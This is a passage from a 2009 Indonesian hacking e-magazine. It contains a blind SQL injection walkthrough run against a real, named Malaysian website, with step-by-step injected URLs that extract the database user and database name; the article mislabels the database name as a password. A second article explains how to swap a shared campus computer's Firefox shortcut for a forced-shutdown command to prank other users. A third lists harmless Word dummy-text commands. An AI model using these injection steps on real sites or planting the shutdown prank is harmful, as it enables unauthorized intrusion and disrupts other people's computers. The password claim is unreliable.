Tujuan dari saya menulis artikel ini adalah untuk sharing ilmu yang telah saya miliki. Phychole tidak
bertanggung jawab atas penyalah gunaan atas yang anda lakukan. Segala resiko yang akan anda
temukan silahkan anda selesaikan sendiri. Apabila ada pertanyaan saran dan kritik silahkan hubungi
saya.

Create on Wednesday, March 18, 2009 on my place by phychole

Email : phy_chole@telkom.co.id, YM : phychole , phy_chole FS: www.friendster.com/phychole

Special thaks : My friends

- Allah SWT - Stressdesign

- My Family - Blue_right

- Oxid.it - Ari_87yanto

- Yogyafree Community - ^nd3s0^

- Google - Ghozt

………..Thanks to all reader …….

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 59- HC eMagazine – Spirit # 02

Blind Injection
Exploit Web with Blind SQL Injection
Writer : omicron9194 (omicron9194@yahoo.com)

Blind Injection? Yupz itu salah satu teknik serangan hacker. Omicron akan
menjelaskan sesimple mungkin ttg blind injection ini, yg dulunya omicron
anggap rumit banget. Stop! bukan bermaksud utk ngajarin temen2,tapi
omicron berusaha memberikan apa yg omicron punya meskipun masih
sedikit.

Bermula dari coba-coba mencari teknik baru (padahal ini kan teknik teknik
lama? Wkwk :p) jadi omicron mencoba dgn teknik ini (just for learn), ga
ada maksud utk deface ato apalah.
OK,ini alamatnya :

http://cmc.msc.com.my/event_detail.php?ID=190

langsung test vulnerable nya

http://cmc.msc.com.my/event_detail.php?ID=190 and 1=1 <<< True


http://cmc.msc.com.my/event_detail.php?ID=190 and 1=2 <<< False

Setelah yakin bahwa site itu ada vulnerablenya,langsung kita inject

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65)

Nah lho,,bingung ? Sama, omicron juga bingung.OK,omicron jelasin dikit.

# mid(user()1,1) >>> dalam masalah ini,omicron tidak mengetahui value ato nilai dari user itu apa, maka dalam
"()" omicron sengaja kosongkan

# 1,1 >>> urutan dari value tsb

# CHAR >>> peubah dalam desimal

# 65 >>> value desimal tsb dan 65 adalah "A" dalam ASCII jadi omicron mengawalinya dengan "A" >> 65 dalam
ASCII , bisa di awali dari apa aja,tapi utk lebih valid,omicron mengawali dgn huruf "A" >>> 65

Setelah kita masukkan URL tadi,,apa yg akan di tampilkan ? Yupz,nilainya ada 2,True or False.

True >>> jika halamannya menampilkan dalam keadaan normal (berita,gambar,etc .. tidak hilang)

False >>> jika halamannya tidak menampilkan sebagian ato seluruh isi dari halaman tsb (berita,gambar,etc ..
ada yg hilang)

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(65) <<< false

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 60- HC eMagazine – Spirit # 02

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(66) <<< false

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,1)=char(67) <<< true

yeah,akhirnya mendapat nilai true di char 67,dalam ASCII adalah karakter C

cari nilai kedua >>>

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,65) <<< false

liat 1,1 nya , udah diganti sama 1,2. Jadi klo udah dapet true lagi,ganti aja menjadi 1,3 ; 1,4 ; dst...

Nah,akhirnya omicron dapet nilai true yg kedua :

http://cmc.msc.com.my/event_detail.php?ID=190 and mid(user(),1,2)=char(67,82)

pada angka 82 >>> R dalam ASCII

Lanjut sampe halaman tsb bernilai false dan akan mendapatkan :

http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(user(),1,10)=char(67,82,69,83,84,81,95,67,7
7,68)
67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D
Nah itu usernamenya >>> CRESTQ_CMD
klo mw cari password nya >>> value user() ganti jadi >>> database() , dan dilakukan sama dengan cara di atas :
http://cmc.msc.com.my/event_detail.php?ID=190%20and%20mid(database(),1,12)=char(67,82,69,83,84,81,95
,67,77,68,68,66)
67 = C
82 = R
69 = E
83 = S
84 = T
81 = Q
95 = _
67 = C
77 = M
68 = D
68 = D
66 = B

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 61- HC eMagazine – Spirit # 02

Password yg di dapat >>> CRESTQ_CMDDB


Jadi user dan passwordnya >>> CRESTQ_CMD dan CRESTQ_CMDDB

sep dah.selesain kan.xixixii...ternyata ga terlalu rumit yg omicron bayangkan,tapi,,,harus ada waktu panjang utk
blind injection ini,sabar aja ok.

Inget! Yang omicron exploit itu belum tentu user dan pass adminnya.Tergantung dari web yg kita exploit.

Thx buat Cyber*Z_Camel yg udah ngasih target dan berusaha menjawab pertanyaan2 cupu omicron.

Semoga penjelasan omicron bermanfaat :)


Oia, untuk menngenal kode ASCII ,, siapa tau ga berguna...xixixixi.....

http://ciebal.web.id/char.txt

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 62- HC eMagazine – Spirit # 02

Hack Shortcut Mozilla


Menjahili Orang dengan Shortcut Mozilla
Writer : Chazali Husni (chazalihusni@gmail.com)

Wah…. Senang sekali ni karena pada akhirnya zali bisa ikut menulis tentang hacking, y,...
meskipun ini merupakan tekhnik lama. Tapi bagi yang sudah tau teknik ini, tlong
diacuhkan saja dan bagi teman2 yang belum tau silahkan mencoba.

Biasanya zali melakukan ini di fasilitas internet kampus, kalau mereka tidak mau masuk
kuliah gara2 internet… ( zali tidak bertanggung jawab atas penyalah gunaan tekhnik ini..)

Oke, kita langsung ke RED ZONE (maksudnya, kita praktekan,..hehehehe….)

Pertama, kita cari targetnya yaitu Shortcut Mozilla Firefox bs juga yang lain ( zali, ngehack firefox karena agar
teman2 zali berhenti main internet)

Kedua, klik kanan pada Shortcut…kayak gini ni…

Ketiga, pada target yang saya lingkari dengan garis merah pada gambar diatas....Kita ganti dengan

Shutdown –s –c ”Ga boleh lagi maen disini...” –t 50

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 63- HC eMagazine – Spirit # 02

Nah, pasti teman2 pada bertanya2 maksud dari script tersebut apa, tetapi bagi yang sudah tau pasti dong tau..
Oke zali akan jelasin sedikit...

-----------------------------------------------------------------------------------------------------------
Shutdown -s : sebagai perintah untuk mematikan sistem komputer
-c : sebagai pesan, terserah kita mau buat apa. Tapi jangan lupa diapit oleh tanda kutip
---------------------------------------------------------------------------------------------------------

Eits,,,,jangan lupa klik Ok setelah itu..

Nah...nantinya jadinya akan seperti ini...

TEDENG>>>>>

Nah...sekian dulu tulisan dari zali...

Sekedar informasi, pesan yang nantinya tidak akan bisa kita matikan dengan mengklik ”x” ataupun
menggunakan Task Manager...

A: Jadi Bagaimana matikannya?

Z: Hehehe... masalah itu kita bahas di tulisan berikutnya..

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 64- HC eMagazine – Spirit # 02

Terima kasih kepada Allah SWT yang telah memberikan kesehatan dan PC buat zali, kepada kedua orang tua
dan pacar q yang mendukungku... dan Mohon maaf atas kekurangan dari tulisan ini

Biodata

Nama : Chazali Husni

YM : mcool39@ymail.com

Blog : chazalihusni.blogspot.com

FS : chazalihusni@gmail.com

NB:

Penulis tidak bertanggung jawab atas penyalah gunaan tekhnik ini, Hacking is not crime

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 65- HC eMagazine – Spirit # 02

Dummy Text MS Word 2007


Karakter Rahasia pada Microsoft Word 2007

Writer : ciebal (ciebal@mugi.or.id)

Para programmer dalam membuat program tentu harus membuat programnya dengan
unik untuk membuktikan bahwa program yang dibuat adalah hasil karyanya. Pada
Microsoft Office 2007 ternyata para programmernya membuat hal unik yang tidak banyak
orang tau dan saya sendiri mengetahuinya dari salah satu trainer sertifikasi CEH, Microsoft,
Oracle, dll di bandung. Waktu itu saya tanya tentang karakter rahasia di notepad tapi dia
menujukan beberapa keunikan dari Microsoft Word 2007 (saya belum coba di MS Word
2003) dan kali ini saya coba shre 3 karakter tersebut yang sering disebut dengan Dummy Text karena memang
tidak ada manfaat dan artinya. Xixixixixi

Oke deh langsung aja ada 3 dummy text yang ciebal tau yaitu :

1. Ketikan teks di bawah ini pada halaman microsoft word 2007 kamu.

=lorem()

Tekan Enter dan contoh hasilnya sebagai berikut ini:

Artinya apa yah..? saya juga gak tau, namanya juga dummy text.. :P

2. Sama dengan cara pertama, hanya yang kita ketikan adalah teks berikut ini.

=rand()

Tekan Enter dan hasilnya sebagai berikut:

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 66- HC eMagazine – Spirit # 02

Nah klo yang ini sedikit dimengerti karena bahasa inggris, kamu tinggal buka transtool aja... xixixixi

3. Sama seperti sebelumnya, sekarang kamu ketik text berikut ini :

=rand.old()

Tekan Enter dan hasilnya sebagi berikut:

Dummy teks yang ini biasanya digunakan sebagai contoh kalimat pada saat pemilihan Font di sistem operasi
Windows.

Lalu apa manfaatnya..? yah gak ada manfaatnya, tapi setidaknya kamu sekarang mengetahui sedikit rahasia MS
Word 2007. Kamu bisa mengubah dummy text tersebut dengan sedikit variasi. Sebagai contoh, jika kita
mengetikkan =rand(3,5) maka Word akan menyisipkan teks sebanyak 3 paragraf dimana masing-masing
paragraf terdiri dari 5 baris kalimat.

Kok gak bisa sih di Word 2007 saya..?

Secara default fasilitas ini sudah aktif. Jika ternyata setelah kita ketikan cara-cara diatas ternyata tidak terjadi
apapun, kemungkinan adalah fitur Replace text as you type berada dalam kondisi non-aktif. Untuk
mengaktifkannya, caranya sebagai berikut:

Klik Office Button yang ada di sudut kiri atas bidang aplikasi Word.

Pilih Word Options >> Proofing >> AutoCorrect Options.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 67- HC eMagazine – Spirit # 02

Pilih tab AutoCorrect. Lalu aktifkan replace text as you type.

Ok lah, sekian dulu artikel saya yang gak jelas ini, dan semoga jadi bertambah ilmu kita walaupun hanya sedikit.
 Untuk mengetahui lebih jelas tentang dummy text ini bisa dibaca di situs resmi Microsoft nya.

http://support.microsoft.com/kb/212251

/Nick at Forum : ciebal

/Location : Banten - Bandung

/Email : ciebal745@gmail.com or ciebal@mugi.or.id

/Web: www.ciebal.web.id | www.indoblogger.web.id

/Thanks to:

Allah SWT, My Family, All My Friends, HC Staff, Indoblogger Community, omicron9194, eminem,
Paluared JS, Blackpaper, Quatum.Byte, chuwey, kemangi, aris lesmana, xyberbreaker, All Reader, etc..

Tengkyu semuanya yang gak bisa disebutin satu-persatu.

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 68- HC eMagazine – Spirit # 02

HC eMagazine Writer
Ketentuan Menjadi Penulis HC eMagazine
Berminat menjadi penulis di HC eMagazine edisi berikutnya? Apabila anda berminat
jangan ragu-ragu untuk mengirimkan artikel anda ke redaksi HC eMagazine. Artikel
harus asli tulisan anda, kalaupun itu bukan buatan anda harus mencantumkan sumber
asli anda mendapatkan artikel tersebut. silahkan kirim artikel anda dengan ketentuan
sebagai berikut :

Materi yang ditentukan :


Kategori Komputer & Internet
Kategori Pemograman / Coding
Kategori Hacking & Cracking
Kategori Phising & Phreaking
Kategori Handphone
Kirimkan tulisan anda dengan format :
Format File : .doc atau .docx
Page Setup : Paper size = Letter atau A4
Line spacing : single
Font : Arial atau Calibri, size 12
Kirimkan tulisan ke Redaksi HC eMagazine :
1. ciebal745@gmail.com
2. luthfi_tech@yahoo.com
3. rama_games@yahoo.com
4. Death_Note17@yahoo.com

Subject : HC eMagazine <judul tutorial>


Attachment : JudulTutorAnda.zip atau JudulTutorAnda.rar (pilih salah satu saja).

Tidak menerima file download di ziddu, rapidshare, 4shared, dll. (jika ukurannya besar di perbolehkan
disimpan di hosting seperti ripway, fileAve, Geocities, dll)
Artikel akan diseleksi. Jika sesuai dengan kriteria, maka akan kami publish di HC eMagazine edisi
berikutnya. Redaksi HC berhak mengedit isi tulisan sesuai kebutuhan.

Terima kasih.

Redaksi HC eMagazine

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 69- HC eMagazine – Spirit # 02

Lampiran :
Serba – Serbi HC eMagazine

Kopdar Staff HC & Redaksi HC eMagazine di Bandung (Dago Plaza)..


Silahkan Tebak Siapa Aja tuh Disitu.. :P

Hackers-Center © 2009 – HC eMagazine Vol. 02


- 70- HC eMagazine – Spirit # 02

Donasi Logo
Donasi Dari Cybernet

Hackers-Center © 2009 – HC eMagazine Vol. 02

You might also like